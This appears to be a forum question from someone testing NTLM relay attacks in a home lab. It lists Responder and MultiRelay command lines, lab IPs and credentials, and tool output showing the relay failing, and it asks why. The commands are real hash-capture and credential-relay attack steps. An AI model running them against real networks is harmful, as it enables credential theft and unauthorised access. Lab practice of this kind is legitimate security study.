I'm currently experimenting with mitm relay attacks using Responder.py and MultiRelay.py tool and running into problems. I have the following LAB setup:
Kali Box: IP: 192.168.1.13 Domain: none
Victim I'm trying to relay: IP: 192.168.1.10 Logged on as user: Lenovo (local administrator) Password: randompwd Domain: WORKGROUP SMB Signing: False
Target machine I've set up: IP: 192.168.1.14 Logged on as user: Lenovo (local administrator) Password: *blank* Domain: WORKGROUP SMB Signing: False
I've already captured the NTLMv2 hash from victim "Lenovo" using Responder with wpad flag:
./Responder.py -I eth0 -wF
Now using multirelay.py to relay the credentials to my target machine, together with Responder (responder now turned off SMB and HTTP):
./MultiRelay.py -t 192.168.1.14 -u ALL
./Responder.py -I eth0 -rv
When trying to reach a typo share (\pintsrv) or open Chrome on victim machine, I get this in multirelay:
Retrieving information for 192.168.1.14... SMB signing: False Os version: 'Windows 10 Enterprise Evaluation 17763' Hostname: 'WIN10ENT' Part of the 'WORKGROUP' domain [+] Setting up SMB relay with SMB challenge: 365dd8eebd4d562c [+] Received NTLMv2 hash from: 192.168.1.10 False [+] Username: Lenovo is whitelisted, forwarding credentials. [+] SMB Session Auth sent. [+] Relay failed, Logon Failure. This user doesn't have an account on this target. [+] Hashes were saved anyways in Responder/logs/ folder. ... [+] User LAPTOP-LM6B6B6B\Lenovo previous login attempt returned logon_failure. Not forwarding anymore to prevent account lockout
If I go ahead and actually set the password I'm looking for (randompwd) on my target machine "Lenovo" user (this shouldn't be necessary right?), I get this in multirelay:
... [+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.
So what am I missing?